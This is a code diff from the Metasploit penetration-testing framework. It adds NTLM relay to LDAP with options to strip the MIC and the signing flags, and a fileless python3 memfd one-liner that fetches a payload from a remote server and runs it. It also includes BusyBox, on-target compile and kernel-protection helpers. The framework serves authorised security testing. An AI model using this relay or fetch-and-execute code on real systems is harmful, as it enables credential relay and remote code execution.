logger.info("Relaying NTLM type 1 message to #{relayed_connection.target.ip} (Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})")
logger.info(
"Relaying NTLM type 1 message to #{relayed_connection.target} "\
"(Always Sign: #{ntlm_message.has_flag?(:ALWAYS_SIGN)}, "\
"Sign: #{ntlm_message.has_flag?(:SIGN)}, Seal: #{ntlm_message.has_flag?(:SEAL)})"
)
if relayed_connection.target.drop_mic_and_sign_key_exch_flags
incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
elsif relayed_connection.target.drop_mic_only
incoming_security_buffer = do_drop_mic(ntlm_message)
end
relay_result = relayed_connection.relay_ntlmssp_type1(incoming_security_buffer)
return nil unless relay_result&.nt_status == WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
@@ -157,6 +172,13 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
elsif ntlm_message.is_a?(::Net::NTLM::Message::Type3)
relayed_connection = session.metadata[:relayed_connection]
logger.info("Relaying #{ntlm_message.ntlm_version == :ntlmv2 ? 'NTLMv2' : 'NTLMv1'} type 3 message to #{relayed_connection.target} as #{session.metadata[:identity]}")
if relayed_connection.target.drop_mic_and_sign_key_exch_flags
incoming_security_buffer = do_drop_mic_and_flags(ntlm_message)
elsif relayed_connection.target.drop_mic_only
incoming_security_buffer = do_drop_mic(ntlm_message)
end
relay_result = relayed_connection.relay_ntlmssp_type3(incoming_security_buffer)
is_success = relay_result&.nt_status == WindowsError::NTStatus::STATUS_SUCCESS
@@ -208,6 +230,8 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
client = Target::HTTP::Client.create(self, target, logger, timeout)
when :smb
client = Target::SMB::Client.create(self, target, logger, timeout)
when :ldap
client = Target::LDAP::Client.create(self, target, logger, timeout)
else
raise RuntimeError, "unsupported protocol: #{target.protocol}"
end
@@ -224,5 +248,22 @@ module Msf::Exploit::Remote::SMB::Relay::NTLM
logger.print_error msg
nil
end
private
def do_drop_mic(ntlm_message)
logger.info('Dropping MIC')
ntlm_message.serialize
end
def do_drop_mic_and_flags(ntlm_message)
logger.info('Dropping MIC and removing flags: `Always Sign`, `Sign` and `Key Exchange`')
flags = ntlm_message.flag
flags &= ~Net::NTLM::FLAGS[:ALWAYS_SIGN] & ~Net::NTLM::FLAGS[:SIGN] & ~Net::NTLM::FLAGS[:KEY_EXCHANGE]
ntlm_message.flag = flags
ntlm_message.serialize
end
end
end
@@ -0,0 +1,100 @@
require 'rex/proto/ldap/auth_adapter'
module Msf::Exploit::Remote::SMB::Relay::NTLM::Target::LDAP
# The LDAP Client for interacting with the relayed_target
# This isn't actually a Rex::Proto::LDAP::Client instance, but rather a Net::LDAP::Connection instance because of the
# state requirements of the relay operations
class Client < Net::LDAP::Connection
attr_accessor :timeout
attr_reader :target
def initialize(server, provider: nil, target: nil, logger: nil, timeout: DefaultConnectTimeout)
@logger = logger
@provider = provider
@target = target
@timeout = server[:connect_timeout] || timeout
super(server)
end
def self.create(provider, target, logger, timeout)
new(
{
host: target.ip,
port: target.port,
connect_timeout: timeout
},
provider: provider,
target: target,
logger: logger
)
end
alias :disconnect! :close
# @param [String] client_type1_msg
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
def relay_ntlmssp_type1(client_type1_msg)
ntlm_message = Net::NTLM::Message.parse(client_type1_msg)
if ntlm_message.has_flag?(:SIGN)
logger.print_warning('Relay client\'s NTLM type 1 message requests signing, relaying to LDAP will not work')
end
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type1_msg)
unless pdu.result_code == Net::LDAP::ResultCodeSaslBindInProgress
return Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
nt_status: WindowsError::NTStatus::STATUS_LOGON_FAILURE
)
end
server_type2_message = pdu.result_server_sasl_creds.to_s
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(
message: Net::NTLM::Message.parse(server_type2_message),
nt_status: WindowsError::NTStatus::STATUS_MORE_PROCESSING_REQUIRED
)
end
# @param [String] client_type3_msg
# @rtype [Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult, nil]
def relay_ntlmssp_type3(client_type3_msg)
ntlm_message = Net::NTLM::Message.parse(client_type3_msg)
if ntlm_message.ntlm_version == :ntlmv2
logger.print_warning('Relay client\'s NTLM type 3 message is NTLMv2, relaying to LDAP will not work')
end
pdu = bind(method: :rex_relay_ntlm, ntlm_message: client_type3_msg)
case pdu.result_code
when Net::LDAP::ResultCodeSuccess
nt_status = WindowsError::NTStatus::STATUS_SUCCESS
when Net::LDAP::ResultCodeInvalidCredentials
nt_status = WindowsError::NTStatus::STATUS_LOGON_FAILURE
else
return nil
end
Msf::Exploit::Remote::SMB::Relay::NTLM::Target::RelayResult.new(nt_status: nt_status)
end
# Instantiate a Rex::Proto::LDAP::Client that can be used as a normal LDAP client.
# This is mainly used to setup an LDAP session.
#
# @return [Rex::Proto::LDAP::Client]
def create_ldap_client
client = Rex::Proto::LDAP::Client.new(
host: @target.ip,
port: @target.port,
auth: { method: :rex_relay_ntlm },
connect_timeout: @timeout
)
client.connection = self
client
end
protected
attr_reader :logger
end
end
@@ -6,7 +6,7 @@ module Msf::Exploit::Remote::SMB::Relay
include MonitorMixin
# @param [String] targets
def initialize(protocol, port, targets, path=nil, randomize_targets: true)
def initialize(protocol, port, targets, path=nil, randomize_targets: true, drop_mic_only: false, drop_mic_and_sign_key_exch_flags: false)
super()
targets = Rex::Socket::RangeWalker.new(targets).to_enum(:each_ip).map do |target_ip|
@@ -14,7 +14,9 @@ module Msf::Exploit::Remote::SMB::Relay
ip: target_ip,
port: port,
protocol: protocol,
path: path
path: path,
drop_mic_only: drop_mic_only,
drop_mic_and_sign_key_exch_flags: drop_mic_and_sign_key_exch_flags
)
end
@targets = randomize_targets ? targets.shuffle : targets
@@ -62,7 +64,7 @@ module Msf::Exploit::Remote::SMB::Relay
end
class Target
def initialize(ip:, port:, protocol:, path: nil)
def initialize(ip:, port:, protocol:, path: nil, drop_mic_only: false, drop_mic_and_sign_key_exch_flags: false)
@ip = ip
@port = port
@protocol = protocol
@@ -75,9 +77,11 @@ module Msf::Exploit::Remote::SMB::Relay
relay_attempts: 0
}
end
@drop_mic_only= drop_mic_only
@drop_mic_and_sign_key_exch_flags = drop_mic_and_sign_key_exch_flags
end
attr_reader :ip, :port, :protocol, :path
attr_reader :ip, :port, :protocol, :path, :drop_mic_only, :drop_mic_and_sign_key_exch_flags
def eligible_relay_target?(identity)
return true if identity.nil?
@@ -4,6 +4,7 @@ module Msf
module Exploit::Remote::SMB
# This mixin provides a minimal SMB server
module RelayServer
include ::Msf::Auxiliary::MultipleTargetHosts
include ::Msf::Exploit::Remote::SocketServer
include ::Msf::Exploit::Remote::SMB::Server::HashCapture
@@ -15,7 +16,7 @@ module Msf
OptPort.new('SRVPORT', [true, 'The local port to listen on.', 445]),
OptString.new('SMBDomain', [true, 'The domain name used during SMB exchange.', 'WORKGROUP'], aliases: ['DOMAIN_NAME']),
OptInt.new('SRV_TIMEOUT', [true, 'Seconds that the server socket will wait for a response after the client has initiated communication.', 25]),
OptAddressRange.new('RELAY_TARGETS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST']),
OptAddressRange.new('RHOSTS', [true, 'Target address range or CIDR identifier to relay to'], aliases: ['SMBHOST', 'RELAY_TARGETS']),
OptInt.new('RELAY_TIMEOUT', [true, 'Seconds that the relay socket will wait for a response after the client has initiated communication.', 25])
], self.class)
end
+16 -5
View File
@@ -209,11 +209,22 @@ module Exploit::Remote::Tcp
# Otherwise we are logging in the global context where rhost can be any
# size (being an alias for rhosts), which is not very useful to insert into
# a single log line.
if rhost && rhost.split(' ').length == 1
super + peer + ' - '
else
super
unless instance_variable_defined?(:@print_prefix)
if rhost.present? && Rex::Socket::RangeWalker.new(rhost).length == 1
@print_prefix = peer + ' - '
else
@print_prefix = ''
end
end
super + @print_prefix
end
def replicant
obj = super
# invalidate the cached print_prefix in case the target changes
obj.remove_instance_variable(:@print_prefix) if instance_variable_defined?(:@print_prefix)
obj
end
##
@@ -259,7 +270,7 @@ module Exploit::Remote::Tcp
# Returns the rhost:rport
def peer
"#{rhost}:#{rport}"
Rex::Socket.to_authority(rhost, rport)
end
#
+2 -2
View File
@@ -94,8 +94,8 @@ module Msf
name: LDAP_SESSION_TYPE,
description: 'When enabled will allow for the creation/use of LDAP sessions',
requires_restart: true,
default_value: false,
developer_notes: 'To be enabled by default after appropriate testing'
default_value: true,
developer_notes: 'Enabled in Metasploit 6.4.52'
}.freeze,
{
name: SHOW_SUCCESSFUL_LOGINS,
+2 -2
View File
@@ -255,9 +255,9 @@ module Msf::Modules::Metadata::Search
when 'ref', 'ref_name'
match = [keyword, search_term] if module_metadata.ref_name =~ regex
when 'reference', 'references'
match = [keyword, search_term] if module_metadata.references.any? { |ref| ref =~ regex }
match = [keyword, search_term] if module_metadata.references && module_metadata.references.any? { |ref| ref =~ regex }
when 'target', 'targets'
match = [keyword, search_term] if module_metadata.targets.any? { |target| target =~ regex }
match = [keyword, search_term] if module_metadata.targets && module_metadata.targets.any? { |target| target =~ regex }
when 'type'
match = [keyword, search_term] if Msf::MODULE_TYPES.any? { |module_type| search_term == module_type and module_metadata.type == module_type }
else
+7 -1
View File
@@ -8,6 +8,12 @@ module Msf
module OptionalSession
include Msf::SessionCompatibility
attr_accessor :session_or_rhost_required
def session_or_rhost_required?
@session_or_rhost_required.nil? ? true : @session_or_rhost_required
end
# Validates options depending on whether we are using SESSION or an RHOST for our connection
def validate
super
@@ -18,7 +24,7 @@ module Msf
validate_session
elsif rhost
validate_rhost
else
elsif session_or_rhost_required?
raise Msf::OptionValidateError.new(message: 'A SESSION or RHOST must be provided')
end
end
+1 -1
View File
@@ -5,7 +5,7 @@ module Msf
module LDAP
include Msf::OptionalSession
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT DOMAIN USERNAME PASSWORD THREADS]
RHOST_GROUP_OPTIONS = %w[RHOSTS RPORT LDAPDomain LDAPUsername LDAPPassword THREADS]
REQUIRED_OPTIONS = %w[RHOSTS RPORT THREADS]
def initialize(info = {})
+11 -3
View File
@@ -209,7 +209,9 @@ module Msf::Payload::Adapter::Fetch
end
def _execute_nix(get_file_cmd)
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS']
return _generate_fileless(get_file_cmd) if datastore['FETCH_FILELESS'] == 'bash'
return _generate_fileless_python(get_file_cmd) if datastore['FETCH_FILELESS'] == 'python3.8+'
cmds = get_file_cmd
cmds << ";chmod +x #{_remote_destination_nix}"
@@ -232,6 +234,7 @@ module Msf::Payload::Adapter::Fetch
end
_execute_add(get_file_cmd)
end
# The idea behind fileless execution are anonymous files. The bash script will search through all processes owned by $USER and search from all file descriptor. If it will find anonymous file (contains "memfd") with correct permissions (rwx), it will copy the payload into that descriptor with defined fetch command and finally call that descriptor
def _generate_fileless(get_file_cmd)
@@ -258,6 +261,11 @@ module Msf::Payload::Adapter::Fetch
cmd
end
# same idea as _generate_fileless function, but force creating anonymous file handle
def _generate_fileless_python(get_file_cmd)
%Q<python3 -c 'import os;fd=os.memfd_create("",os.MFD_CLOEXEC);os.system(f"f=\\"/proc/{os.getpid()}/fd/{fd}\\";#{get_file_cmd};$f&")'>
end
def _generate_curl_command
case fetch_protocol
@@ -295,7 +303,7 @@ module Msf::Payload::Adapter::Fetch
fetch_command = _execute_win("tftp -i #{srvhost} GET #{srvuri} #{_remote_destination}")
else
_check_tftp_file
if datastore['FETCH_FILELESS'] && linux?
if datastore['FETCH_FILELESS'] != 'none' && linux?
return _generate_fileless("(echo binary ; echo get #{srvuri} $f ) | tftp #{srvhost}")
else
fetch_command = "(echo binary ; echo get #{srvuri} ) | tftp #{srvhost}; chmod +x ./#{srvuri}; ./#{srvuri} &"
@@ -343,7 +351,7 @@ module Msf::Payload::Adapter::Fetch
def _remote_destination_nix
return @remote_destination_nix unless @remote_destination_nix.nil?
if datastore['FETCH_FILELESS']
if datastore['FETCH_FILELESS'] != 'none'
@remote_destination_nix = '$f'
return @remote_destination_nix
end
@@ -4,7 +4,7 @@ module Msf::Payload::Adapter::Fetch::LinuxOptions
register_options(
[
Msf::OptEnum.new('FETCH_COMMAND', [true, 'Command to fetch payload', 'CURL', %w[CURL FTP TFTP TNFTP WGET]]),
Msf::OptBool.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk, Linux ≥3.17 only', false]),
Msf::OptEnum.new('FETCH_FILELESS', [true, 'Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8','none', ['none','bash','python3.8+']]),
Msf::OptString.new('FETCH_FILENAME', [ false, 'Name to use on remote system when storing payload; cannot contain spaces or slashes', Rex::Text.rand_text_alpha(rand(8..12))], regex: %r{^[^\s/\\]*$}, conditions: ['FETCH_FILELESS', '==', 'false']),
Msf::OptString.new('FETCH_WRITABLE_DIR', [ true, 'Remote writable dir to store payload; cannot contain spaces', '/tmp'], regex: /^\S*$/, conditions: ['FETCH_FILELESS', '==', 'false'])
]
+110 -101
View File
@@ -1,109 +1,118 @@
# -*- coding: binary -*-
require 'rex'
module Msf
class Post
module Linux
module BusyBox
class Post
module Linux
module BusyBox
include ::Msf::Post::Common
include ::Msf::Post::File
include ::Msf::Post::Common
include ::Msf::Post::File
#
# Checks if the file exists in the target
#
# @param file_path [String] the target file path
# @return [Boolean] true if files exists, false otherwise
# @note Msf::Post::File#file? doesnt work because test -f is not available in busybox
#
def busy_box_file_exist?(file_path)
contents = read_file(file_path)
if contents.nil? || contents.empty?
return false
end
# Checks if the file exists in the target
#
# @param file_path [String] the target file path
# @return [Boolean] true if files exists, false otherwise
# @note Msf::Post::File#file? doesnt work because test -f is not available in busybox
def busy_box_file_exist?(file_path)
contents = read_file(file_path)
if contents.nil? || contents.empty?
return false
true
end
#
# Checks if the directory is writable in the target
#
# @param dir_path [String] the target directory path
# @return [Boolean] true if target directory is writable, false otherwise
#
def busy_box_is_writable_dir?(dir_path)
res = false
rand_str = Rex::Text.rand_text_alpha(16)
file_path = "#{dir_path}/#{rand_str}"
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}")
Rex.sleep(0.3)
rcv = read_file(file_path)
if rcv.include?("#{rand_str}XXX#{rand_str}")
res = true
end
cmd_exec("rm -f #{file_path}")
Rex.sleep(0.3)
res
end
#
# Checks some directories that usually are writable in devices running busybox
#
# @return [String] If the function finds a writable directory, it returns the path. Else it returns nil
#
def busy_box_writable_dir
dirs = %w[/etc/ /mnt/ /var/ /var/tmp/]
dirs.each do |d|
return d if busy_box_is_writable_dir?(d)
end
nil
end
#
# Writes data to a file
#
# @param file_path [String] the file path to write on the target
# @param data [String] the content to be written
# @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite
# the target file
# @return [Boolean] true if target file is writable and it was written. Otherwise, false.
# @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because
# of it is necessary to implement an specific method.
#
def busy_box_write_file(file_path, data, prepend = false)
if prepend
dir = busy_box_writable_dir
return false unless dir
cmd_exec("cp -f #{file_path} #{dir}tmp")
Rex.sleep(0.3)
end
rand_str = Rex::Text.rand_text_alpha(16)
cmd_exec("echo #{rand_str} > #{file_path}")
Rex.sleep(0.3)
unless read_file(file_path).include?(rand_str)
return false
end
cmd_exec("echo \"\"> #{file_path}")
Rex.sleep(0.3)
lines = data.lines.map(&:chomp)
lines.each do |line|
cmd_exec("echo #{line.chomp} >> #{file_path}")
Rex.sleep(0.3)
end
if prepend
cmd_exec("cat #{dir}tmp >> #{file_path}")
Rex.sleep(0.3)
cmd_exec("rm -f #{dir}tmp")
Rex.sleep(0.3)
end
true
end
end
end
true
end
# Checks if the directory is writable in the target
#
# @param dir_path [String] the target directory path
# @return [Boolean] true if target directory is writable, false otherwise
def busy_box_is_writable_dir?(dir_path)
res = false
rand_str = Rex::Text.rand_text_alpha(16)
file_path = "#{dir_path}/#{rand_str}"
cmd_exec("echo #{rand_str}XXX#{rand_str} > #{file_path}")
Rex::sleep(0.3)
rcv = read_file(file_path)
if rcv.include?("#{rand_str}XXX#{rand_str}")
res = true
end
cmd_exec("rm -f #{file_path}")
Rex::sleep(0.3)
res
end
# Checks some directories that usually are writable in devices running busybox
# @return [String] If the function finds a writable directory, it returns the path. Else it returns nil
def busy_box_writable_dir
dirs = %w(/etc/ /mnt/ /var/ /var/tmp/)
dirs.each do |d|
return d if busy_box_is_writable_dir?(d)
end
nil
end
# Writes data to a file
#
# @param file_path [String] the file path to write on the target
# @param data [String] the content to be written
# @param prepend [Boolean] if true, prepend the data to the target file. Otherwise, overwrite
# the target file
# @return [Boolean] true if target file is writable and it was written. Otherwise, false.
# @note BusyBox commands are limited and Msf::Post::File#write_file doesn't work here, because
# of it is necessary to implement an specific method.
def busy_box_write_file(file_path, data, prepend = false)
if prepend
dir = busy_box_writable_dir
return false unless dir
cmd_exec("cp -f #{file_path} #{dir}tmp")
Rex::sleep(0.3)
end
rand_str = Rex::Text.rand_text_alpha(16)
cmd_exec("echo #{rand_str} > #{file_path}")
Rex::sleep(0.3)
unless read_file(file_path).include?(rand_str)
return false
end
cmd_exec("echo \"\"> #{file_path}")
Rex::sleep(0.3)
lines = data.lines.map(&:chomp)
lines.each do |line|
cmd_exec("echo #{line.chomp} >> #{file_path}")
Rex::sleep(0.3)
end
if prepend
cmd_exec("cat #{dir}tmp >> #{file_path}")
Rex::sleep(0.3)
cmd_exec("rm -f #{dir}tmp")
Rex::sleep(0.3)
end
true
end
end # Busybox
end # Linux
end # Post
end # Msf
end
+107 -82
View File
@@ -1,88 +1,113 @@
# -*- coding: binary -*-
module Msf
class Post
module Linux
module Compile
include ::Msf::Post::Common
include ::Msf::Post::File
include ::Msf::Post::Unix
class Post
module Linux
module Compile
include ::Msf::Post::Common
include ::Msf::Post::Linux::System
include ::Msf::Post::File
include ::Msf::Post::Unix
def initialize(info = {})
super
register_options( [
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptEnum.new('COMPILER', [true, 'Compiler to use on target', 'Auto', ['Auto', 'gcc', 'clang']]),
], self.class)
end
def initialize(info = {})
super
register_options([
OptEnum.new('COMPILE', [true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
OptEnum.new('COMPILER', [true, 'Compiler to use on target', 'Auto', ['Auto', 'gcc', 'clang']]),
], self.class)
end
def get_compiler
if has_gcc?
return 'gcc'
elsif has_clang?
return 'clang'
else
return nil
# Determines the available compiler on the target system.
#
# @return [String, nil] The name of the compiler ('gcc' or 'clang') if available, or nil if none are found.
def get_compiler
if has_gcc?
return 'gcc'
elsif has_clang?
return 'clang'
else
return nil
end
end
# Checks whether the target supports live compilation based on the module's configuration and available tools.
#
# @return [Boolean] True if compilation is supported and a compiler is available; otherwise, False.
# @raise [Module::Failure::BadConfig] If the specified compiler is not installed and compilation is required.
def live_compile?
return false unless %w[Auto True].include?(datastore['COMPILE'])
if datastore['COMPILER'] == 'gcc' && has_gcc?
vprint_good 'gcc is installed'
return true
elsif datastore['COMPILER'] == 'clang' && has_clang?
vprint_good 'clang is installed'
return true
elsif datastore['COMPILER'] == 'Auto' && get_compiler.present?
return true
end
unless datastore['COMPILE'] == 'Auto'
fail_with Module::Failure::BadConfig, "#{datastore['COMPILER']} is not installed. Set COMPILE False to upload a pre-compiled executable."
end
false
end
#
# Uploads C code to the target, compiles it, and handles verification of the compiled binary.
#
# @param path [String] The path where the compiled binary will be created.
# @param data [String] The C code to compile.
# @param compiler_args [String] Additional arguments for the compiler command.
# @raise [Module::Failure::BadConfig] If compilation fails or no compiler is found.
#
def upload_and_compile(path, data, compiler_args = '')
compiler = datastore['COMPILER']
if datastore['COMPILER'] == 'Auto'
compiler = get_compiler
fail_with(Module::Failure::BadConfig, 'Unable to find a compiler on the remote target.') if compiler.nil?
end
path = "#{path}.c" unless path.end_with?('.c')
# only upload the file if a compiler exists
write_file path.to_s, strip_comments(data)
compiler_cmd = "#{compiler} -o '#{path.sub(/\.c$/, '')}' '#{path}'"
if session.type == 'shell'
compiler_cmd = "PATH=\"$PATH:/usr/bin/\" #{compiler_cmd}"
end
unless compiler_args.to_s.blank?
compiler_cmd << " #{compiler_args}"
end
verification_token = Rex::Text.rand_text_alphanumeric(8)
success = cmd_exec("#{compiler_cmd} && echo #{verification_token}")&.include?(verification_token)
rm_f path.to_s
unless success
message = "#{path} failed to compile."
# don't mention the COMPILE option if it was deregistered
message << ' Set COMPILE to False to upload a pre-compiled executable.' if options.include?('COMPILE')
fail_with Module::Failure::BadConfig, message
end
chmod path
end
#
# Strips comments from C source code.
#
# @param c_code [String] The C source code.
# @return [String] The C code with comments removed.
#
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
end
end
end
def live_compile?
return false unless %w{ Auto True }.include?(datastore['COMPILE'])
if datastore['COMPILER'] == 'gcc' && has_gcc?
vprint_good 'gcc is installed'
return true
elsif datastore['COMPILER'] == 'clang' && has_clang?
vprint_good 'clang is installed'
return true
elsif datastore['COMPILER'] == 'Auto' && get_compiler.present?
return true
end
unless datastore['COMPILE'] == 'Auto'
fail_with Module::Failure::BadConfig, "#{datastore['COMPILER']} is not installed. Set COMPILE False to upload a pre-compiled executable."
end
false
end
def upload_and_compile(path, data, compiler_args='')
write_file "#{path}.c", strip_comments(data)
compiler = datastore['COMPILER']
if datastore['COMPILER'] == 'Auto'
compiler = get_compiler
fail_with(Module::Failure::BadConfig, "Unable to find a compiler on the remote target.") unless compiler.present?
end
compiler_cmd = "#{compiler} -o '#{path}' '#{path}.c'"
if session.type == 'shell'
compiler_cmd = "PATH=\"$PATH:/usr/bin/\" #{compiler_cmd}"
end
unless compiler_args.to_s.blank?
compiler_cmd << " #{compiler_args}"
end
verification_token = Rex::Text.rand_text_alphanumeric(8)
success = cmd_exec("#{compiler_cmd} && echo #{verification_token}")&.include?(verification_token)
rm_f "#{path}.c"
unless success
message = "#{path}.c failed to compile."
# don't mention the COMPILE option if it was deregistered
message << ' Set COMPILE to False to upload a pre-compiled executable.' if options.include?('COMPILE')
fail_with Module::Failure::BadConfig, message
end
chmod path
end
def strip_comments(c_code)
c_code.gsub(%r{/\*.*?\*/}m, '').gsub(%r{^\s*//.*$}, '')
end
end # Compile
end # Linux
end # Post
end # Msf
end
+35 -5
View File
@@ -6,10 +6,13 @@ module Msf
module Kernel
include ::Msf::Post::Common
include Msf::Post::File
#
# Returns uname output
#
# @param opt [String] uname options, defaults to -a
# @return [String]
# @raise [RuntimeError] If execution fails.
#
def uname(opts = '-a')
cmd_exec("uname #{opts}").to_s.strip
@@ -79,9 +82,10 @@ module Msf
end
#
# Returns the kernel boot config
# Returns the kernel boot config with comments removed
#
# @return [Array]
# @raise [RuntimeError] If execution fails.
#
def kernel_config
release = kernel_release
@@ -98,6 +102,7 @@ module Msf
# Returns the kernel modules
#
# @return [Array]
# @raise [RuntimeError] If execution fails.
#
def kernel_modules
read_file('/proc/modules').to_s.scan(/^[^ ]+/)
@@ -109,6 +114,7 @@ module Msf
# Returns a list of CPU flags
#
# @return [Array]
# @raise [RuntimeError] If execution fails.
#
def cpu_flags
cpuinfo = read_file('/proc/cpuinfo').to_s
@@ -124,6 +130,7 @@ module Msf
# Returns true if kernel and hardware supports Supervisor Mode Access Prevention (SMAP), false if not.
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def smap_enabled?
cpu_flags.include? 'smap'
@@ -135,6 +142,7 @@ module Msf
# Returns true if kernel and hardware supports Supervisor Mode Execution Protection (SMEP), false if not.
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def smep_enabled?
cpu_flags.include? 'smep'
@@ -146,6 +154,7 @@ module Msf
# Returns true if Kernel Address Isolation (KAISER) is enabled
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def kaiser_enabled?
cpu_flags.include? 'kaiser'
@@ -157,6 +166,7 @@ module Msf
# Returns true if Kernel Page-Table Isolation (KPTI) is enabled, false if not.
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def kpti_enabled?
cpu_flags.include? 'pti'
@@ -168,6 +178,7 @@ module Msf
# Returns true if user namespaces are enabled, false if not.
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def userns_enabled?
return false if read_file('/proc/sys/user/max_user_namespaces').to_s.strip.eql? '0'
@@ -182,6 +193,7 @@ module Msf
# Returns true if Address Space Layout Randomization (ASLR) is enabled
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def aslr_enabled?
aslr = read_file('/proc/sys/kernel/randomize_va_space').to_s.strip
@@ -194,6 +206,7 @@ module Msf
# Returns true if Exec-Shield is enabled
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def exec_shield_enabled?
exec_shield = read_file('/proc/sys/kernel/exec-shield').to_s.strip
@@ -206,6 +219,7 @@ module Msf
# Returns true if unprivileged bpf is disabled
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def unprivileged_bpf_disabled?
unprivileged_bpf_disabled = read_file('/proc/sys/kernel/unprivileged_bpf_disabled').to_s.strip
@@ -218,6 +232,7 @@ module Msf
# Returns true if kernel pointer restriction is enabled
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def kptr_restrict?
read_file('/proc/sys/kernel/kptr_restrict').to_s.strip.eql? '1'
@@ -229,6 +244,7 @@ module Msf
# Returns true if dmesg restriction is enabled
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def dmesg_restrict?
read_file('/proc/sys/kernel/dmesg_restrict').to_s.strip.eql? '1'
@@ -240,6 +256,7 @@ module Msf
# Returns mmap minimum address
#
# @return [Integer]
# @raise [RuntimeError] If execution fails.
#
def mmap_min_addr
mmap_min_addr = read_file('/proc/sys/vm/mmap_min_addr').to_s.strip
@@ -253,6 +270,9 @@ module Msf
#
# Returns true if Linux Kernel Runtime Guard (LKRG) kernel module is installed
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def lkrg_installed?
directory?('/proc/sys/lkrg')
rescue StandardError
@@ -262,6 +282,9 @@ module Msf
#
# Returns true if grsecurity is installed
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def grsec_installed?
cmd_exec('test -c /dev/grsec && echo true').to_s.strip.include? 'true'
rescue StandardError
@@ -271,6 +294,9 @@ module Msf
#
# Returns true if PaX is installed
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def pax_installed?
read_file('/proc/self/status').to_s.include? 'PaX:'
rescue StandardError
@@ -281,6 +307,7 @@ module Msf
# Returns true if SELinux is installed
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def selinux_installed?
cmd_exec('id').to_s.include? 'context='
@@ -292,6 +319,7 @@ module Msf
# Returns true if SELinux is in enforcing mode
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def selinux_enforcing?
return false unless selinux_installed?
@@ -310,6 +338,7 @@ module Msf
# Returns true if Yama is installed
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def yama_installed?
ptrace_scope = read_file('/proc/sys/kernel/yama/ptrace_scope').to_s.strip
@@ -324,6 +353,7 @@ module Msf
# Returns true if Yama is enabled
#
# @return [Boolean]
# @raise [RuntimeError] If execution fails.
#
def yama_enabled?
return false unless yama_installed?
@@ -332,7 +362,7 @@ module Msf
rescue StandardError
raise 'Could not determine Yama status'
end
end # Kernel
end # Linux
end # Post
end # Msf
end
end
end
end
+72
View File
@@ -0,0 +1,72 @@
# -*- coding: binary -*-
module Msf
class Post
module Linux
module Packages
include ::Msf::Post::Linux::System
#
# Determines the version of an installed package
#
# @param package The package name to check for
# @return [Rex::Version] nil if OS is not supported or package is not installed
#
def installed_package_version(package)
info = get_sysinfo
if ['debian', 'ubuntu'].include?(info[:distro])
package_version = cmd_exec("dpkg-query -f='${Version}' -W #{package}")
# The "no package" error is language based, but "dpkg-query:" starting is not
return nil if package_version.start_with?('dpkg-query:')
package_version = package_version.gsub('+', '.')
return Rex::Version.new(package_version)
elsif ['redhat', 'fedora', 'centos'].include?(info[:distro])
package_version = cmd_exec("rpm -q #{package}")
return nil unless package_version.start_with?(package)
# dnf-4.18.0-2.fc39.noarch
# remove package name at the beginning
package_version = package_version.split("#{package}-")[1]
# remove arch at the end
package_version = package_version.sub(/\.[^.]*$/, '')
return Rex::Version.new(package_version)
elsif ['solaris', 'oracle', 'freebsd'].include?(info[:distro])
package_version = cmd_exec("pkg info #{package}")
return nil unless package_version.include?('Version')
package_version = package_version.match(/Version\s+:\s+(.+)/)[1]
return Rex::Version.new(package_version)
elsif ['gentoo'].include?(info[:distro])
# https://wiki.gentoo.org/wiki/Equery
if command_exists?('equery')
package_version = cmd_exec("equery --quiet list #{package}")
# https://wiki.gentoo.org/wiki/Q_applets
elsif command_exists?('qlist')
package_version = cmd_exec("qlist -Iv #{package}")
else
vprint_error("installed_package_version couldn't find qlist and equery on gentoo")
return nil
end
return nil if package_version.strip.empty?
package_version = package_version.split('/')[1]
# make gcc-1.1 to 1.1
package_version = package_version.sub(/.*?-/, '')
return Rex::Version.new(package_version)
elsif ['arch'].include?(info[:distro])
package_version = cmd_exec("pacman -Qi #{package}")
return nil unless package_version.include?('Version')
package_version = package_version.match(/Version\s+:\s+(.+)/)[1]
return Rex::Version.new(package_version)
else
vprint_error("installed_package_version is being called on an unsupported OS: #{info[:distro]}")
end
nil
end
end
end
end
end
+178 -105
View File
